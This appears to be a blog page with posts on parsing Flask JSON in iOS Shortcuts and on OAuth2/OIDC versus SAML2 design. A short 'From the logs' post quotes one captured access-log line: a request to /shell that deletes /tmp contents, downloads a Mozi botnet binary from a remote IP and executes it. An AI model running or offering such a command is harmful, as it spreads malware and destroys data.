iOS Shortcuts: Get Dictionary Value and working with JSON

…or ‘two hours of my life I’m not getting back as a result of a daft mistake’ :).

I’ve just spent a frustrating / puzzling afternoon trying unsuccessfully to parse a JSON dictionary from my own API, using the ‘Get Dictionary Value’ action in Shortcuts. From what I can see, the documentation makes the normally safe assumption that you are working with an API that sets the appropriate content-type for JSON.

I wasn’t, because I’m using Flask, which defaults to text/html. The API endpoints I’m using are a couple of years old and, up until today, I’ve been parsing the JSON using both JavaScript and Objective-C, neither of which are precious about the mime type. Hence the misconfiguration was at the bottom of my list of things to think about.

Back to the shortcut action, the dictionary parsing was just failing silently. I went around the houses on the problem, and when I was working my way through a tutorial that used an external API, I noticed that the JSON result that I got back from hitting the ‘Play’ button for the URL content rendered in a different type of UI element. Your mileage may vary on the appearance, but in dark mode (iOS 14), it renders as a black box. ‘Text/html’ renders as what looks like a webview, on a white background – which makes perfect retrospective sense, as it’s expecting it to be browser content.

Having figured this out, I then jumped on another merry-go-round, trying to avoid ‘double parsing’ – escaped quotes – on a dictionary constructed from variables with the jsonify() method. The data has actually a pretty torturous path before it’s converted to JSON – Flask app route calls an external python script which itself shells out – so I gave up on trying to do it ‘right’. As I need to serve html as well as JSON from the same server instance, I went with this option.

From the logs…

178.x.x.x – – [23/Feb/2021:20:20:58 +0000] “GET /shell?cd+/tmp;rm+-rf+*;wget+http://178.x.x.x:46149/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws HTTP/1.1” 404 498 “-” “Hello, world”

I’m guessing this is assuming a prior compromise. The housekeeping in /tmp is a nice touch.

OAuth2 Groundhog Day

Over the last 5 years or so, I have had countless discussions about OAuth2 which cover the same topics, and commonly start with reasons why SAML2 either isn’t:

  • Feasible, due to third party software support.
  • Preferred, for reasons up to and including a developer aversion to XML.

Before I go any further, I will hold my hand up and say that I have no doubt done my bit to complicate those discussions, having initially viewed OAuth2 rather suspiciously.

Where things get interesting is when we are federating with ourselves, which is a really common use case. There are a few things in the OAuth2 specs that are either not explicit or are commonly reinterpreted, which complicate this. I’m going to touch on a couple of them.

The Client. No, Not That Client
By way of introduction I’m going to start with something which is well defined: the OAuth2 client which, depending on location, has different trust implications. Beyond this, your implementation is bound up on whether or not you are dealing with a human, and then the appropriateness of holding a client secret. This is ignoring the password grant which is best used… never. So the defining characteristics of the client, and by extension which grant, are well trodden ground. There are plenty of great resources that flowchart out what you need to do.

This is supposed to be one of the core tenets of OAuth2 for the human user centric flows. However, what it actually means starts to get a little hazy when we are federating with ourselves, so much so that it commonly gets dropped on the floor. We gloss over the fact that while the AC grant client is doing a couple of protocol specific things like kicking off the flow, and doing the out of band token exchange, it is also commonly embedded in the same application as the resource server. So, we aren’t really delegating any more: there is no third party in play. I think an interesting acid test for this if you get into an AC grant implementation discussion about the optionality of the consent form. While you can use OAuth2 for your application, you probably aren’t using it as intended.

Scopes and Claims
Ignoring implementations which present access tokens the same way (i.e., as a meaningful token rather than a random string), there are pragmatic advantages to the use of OIDC, principally, because you don’t need to talk to the Authorisation Server to validate the JWT. This high degree of portability introduces the possibility of the application which received the JWT bundling it up and presenting it, in the context of the original user, to a downstream API.

There is nothing stopping the server doing exactly the same thing with an access token. The only distinguishing feature is how scope is presented:

  • Assuming an opaque token, the scope is in the response from the authorisation server
  • For a JWT, the scope (the group of claims) is baked in.

(The Authorisation Server may of course respond, based on client id / secret and say ‘this isn’t for you’.)

Scopes in OAuth2 aren’t standardised, and the standard claims in OIDC aren’t much use, so you are on your own here. You have to invent some sort of naming scheme that probably applies on a per resource server / relying party basis. This is especially compelling if the consuming entity is an API: you just come up with a list.

What about representing human entitlement? The easiest thing to do is treat the custom claim data or scope the same way we commonly use a SAML response: as something to get in the front door with. Starting with the per application scope, you extract the identity, you map it onto something internal – including locally expressed entitlement data – and you are off to the races. You can request multiple scopes, and still get an access token which, when it is evaluated, will return a list. Doing this for a human, and not presenting the consent screen, is really starting to drift away from the spirit of the standard – the authorisation part.

Microservices and Delegation Again
Rather than talk about microservices specifically, I am going to generalise this to passing the same bearer token around between APIs. It’s a problem that’s as old as the hills. Rather than getting into Kerberos delegation, I’ll draw on another old-tech example closer to the topic at hand: I remember being pretty surprised to find that the website-specific cookies minted by the proprietary SSO service that I managed were starting to be pushed onto a SOA service bus. Today, authentication infrastructure owners are probably facing comparable use cases but with JWTs due to their portability. They are being passed around, whether they like it or not (they may not even know). Going back to JWT claims, I think the best that you could hope for is putting some sort of broad-grained entitlement information about the user in it, and hoping that it is being evaluated meaningfully when it lands on the downstream API.

This speaks to a rather freeform development environment; I am sure that there are organisations that either address token usage through policy, or are building microservices on more uniform application stacks that allows them to dig into scopes / claims in a more meaningful way. I just don’t think it’s universal.

Again, this is way outside the intent of the standards, but it’s an occasional topic: for stateful applications, inferring a user’s session lifetime based on a token or JWT. While SAML responses have a bunch of rather confusing timestamps, the intent is really just to get them into the app with some leeway for transport delays. The assertion never goes any further than the SP.

Applying a loose interpretation of the principle of least privilege, not sending the token all the way back to the browser as a cookie has got to be considered. However, for single page apps talking directly to APIs this is impractical.

Finally on session management, a passing shot at refresh tokens. Is revocation that big a problem? I don’t think so; at least not one that couldn’t be solved in a better way.

So Where Does This Leave us?
As I’ve touched on before, over a period of years, the industry has settled on a pattern of use with SAML2 which represents a relatively small subset of the original specs, but it is still slowly evolving. When I started using it about 15 years ago, doing a certificate (or even a public key) exchange with the SP for request signing was considered a necessity. Confidence in the controls applied by the IDP to stop it from being an open relay, and at the same time halving the headache of managing certificate expiry, has seen the practice start to fall out of default usage.

Conversely, I think we still have a way to go with OAuth2 and OIDC to reach a point where default patterns are just plug and play. This is almost inevitable given that both what’s in the spec is open to interpretation, and the amount of work you have to do with what’s not in it.